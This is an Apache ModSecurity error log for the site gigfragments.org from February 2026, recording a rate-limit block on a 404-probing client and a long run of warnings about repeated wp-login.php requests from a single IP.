[Sat Feb 28 12:32:37.796333 2026] [:error] [pid 39185:tid 39267] [client 20.151.113.230:24321] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e31hmf9b.php"] [unique_id "aaJv5RVE-FfM89u7BQahLAAAAJU"]
[Sat Feb 28 12:58:31.354295 2026] [:error] [pid 39185:tid 39264] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ19xVE-FfM89u7BQa5NQAAAJI"]
[Sat Feb 28 12:58:33.630109 2026] [:error] [pid 39185:tid 39249] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ1-RVE-FfM89u7BQa5QwAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:36.556890 2026] [:error] [pid 39185:tid 39257] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ1_BVE-FfM89u7BQa5WAAAAIs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:38.708397 2026] [:error] [pid 39185:tid 39262] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ1_hVE-FfM89u7BQa5YwAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:41.588768 2026] [:error] [pid 39185:tid 39262] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2ARVE-FfM89u7BQa5cwAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:43.367197 2026] [:error] [pid 39185:tid 39258] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2AxVE-FfM89u7BQa5fQAAAIw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:46.153729 2026] [:error] [pid 39185:tid 39262] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2BhVE-FfM89u7BQa5iQAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:48.381681 2026] [:error] [pid 39185:tid 39253] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2CBVE-FfM89u7BQa5iwAAAIc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:51.202168 2026] [:error] [pid 39185:tid 39257] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2CxVE-FfM89u7BQa5lgAAAIs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:52.991373 2026] [:error] [pid 39185:tid 39253] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2DBVE-FfM89u7BQa5ngAAAIc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:55.891703 2026] [:error] [pid 39185:tid 39262] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2DxVE-FfM89u7BQa5twAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:58:58.177831 2026] [:error] [pid 39185:tid 39252] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2EhVE-FfM89u7BQa5xgAAAIY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:01.014058 2026] [:error] [pid 39185:tid 39247] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2FRVE-FfM89u7BQa52wAAAIE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:03.071015 2026] [:error] [pid 39185:tid 39249] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2FxVE-FfM89u7BQa56QAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:05.884169 2026] [:error] [pid 39185:tid 39254] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2GRVE-FfM89u7BQa6CgAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:08.021081 2026] [:error] [pid 39185:tid 39252] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2HBVE-FfM89u7BQa6GwAAAIY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:12.134252 2026] [:error] [pid 39185:tid 39251] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2IBVE-FfM89u7BQa6KAAAAIU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:14.565324 2026] [:error] [pid 39185:tid 39251] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2IhVE-FfM89u7BQa6OAAAAIU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:17.507961 2026] [:error] [pid 39185:tid 39253] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2JRVE-FfM89u7BQa6TwAAAIc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:19.676527 2026] [:error] [pid 39185:tid 39259] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2JxVE-FfM89u7BQa6YwAAAI0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:22.597484 2026] [:error] [pid 39185:tid 39251] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2KhVE-FfM89u7BQa6iAAAAIU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:24.598138 2026] [:error] [pid 39185:tid 39253] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2LBVE-FfM89u7BQa6lgAAAIc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:27.365454 2026] [:error] [pid 39185:tid 39267] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2LxVE-FfM89u7BQa6mgAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:29.238911 2026] [:error] [pid 39185:tid 39268] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2MRVE-FfM89u7BQa6pAAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:33.136198 2026] [:error] [pid 39185:tid 39270] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2NRVE-FfM89u7BQa6rgAAAJg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:34.894623 2026] [:error] [pid 39185:tid 39269] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2NhVE-FfM89u7BQa6sgAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:37.670628 2026] [:error] [pid 39185:tid 39248] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2ORVE-FfM89u7BQa6vQAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:39.786526 2026] [:error] [pid 39185:tid 39262] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2OxVE-FfM89u7BQa6xAAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:42.421253 2026] [:error] [pid 39185:tid 39247] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2PhVE-FfM89u7BQa6zAAAAIE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:44.270252 2026] [:error] [pid 39185:tid 39269] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2QBVE-FfM89u7BQa63AAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:46.927313 2026] [:error] [pid 39185:tid 39268] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2QhVE-FfM89u7BQa65AAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:49.019801 2026] [:error] [pid 39185:tid 39248] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2RRVE-FfM89u7BQa65gAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:51.801823 2026] [:error] [pid 39185:tid 39247] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2RxVE-FfM89u7BQa66AAAAIE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:53.909997 2026] [:error] [pid 39185:tid 39252] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2SRVE-FfM89u7BQa66gAAAIY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:56.724474 2026] [:error] [pid 39185:tid 39260] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2TBVE-FfM89u7BQa68AAAAI4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:59:58.646056 2026] [:error] [pid 39185:tid 39249] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2ThVE-FfM89u7BQa68QAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:01.635278 2026] [:error] [pid 39185:tid 39254] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2URVE-FfM89u7BQa69AAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:03.722222 2026] [:error] [pid 39185:tid 39259] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2UxVE-FfM89u7BQa69QAAAI0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:06.777263 2026] [:error] [pid 39185:tid 39250] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2VhVE-FfM89u7BQa6_wAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:09.066073 2026] [:error] [pid 39185:tid 39263] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2WRVE-FfM89u7BQa7BwAAAJE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:12.162404 2026] [:error] [pid 39185:tid 39270] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2XBVE-FfM89u7BQa7GQAAAJg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:14.145237 2026] [:error] [pid 39185:tid 39263] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2XhVE-FfM89u7BQa7KAAAAJE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:18.294167 2026] [:error] [pid 39185:tid 39255] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2YhVE-FfM89u7BQa7OwAAAIk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:20.394974 2026] [:error] [pid 39185:tid 39265] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2ZBVE-FfM89u7BQa7QAAAAJM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:23.378479 2026] [:error] [pid 39185:tid 39265] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2ZxVE-FfM89u7BQa7UgAAAJM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:25.330950 2026] [:error] [pid 39185:tid 39249] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2aRVE-FfM89u7BQa7ZAAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:28.285798 2026] [:error] [pid 39185:tid 39256] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2bBVE-FfM89u7BQa7fQAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:30.517945 2026] [:error] [pid 39185:tid 39263] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2bhVE-FfM89u7BQa7jgAAAJE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:33.714955 2026] [:error] [pid 39185:tid 39260] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2cRVE-FfM89u7BQa7qQAAAI4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:35.533987 2026] [:error] [pid 39185:tid 39248] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2cxVE-FfM89u7BQa7tQAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:38.615667 2026] [:error] [pid 39185:tid 39262] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2dhVE-FfM89u7BQa7xgAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 13:00:40.696632 2026] [:error] [pid 39185:tid 39266] [client 144.91.119.214:53346] [client 144.91.119.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.91.119.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJ2eBVE-FfM89u7BQa7zAAAAJQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
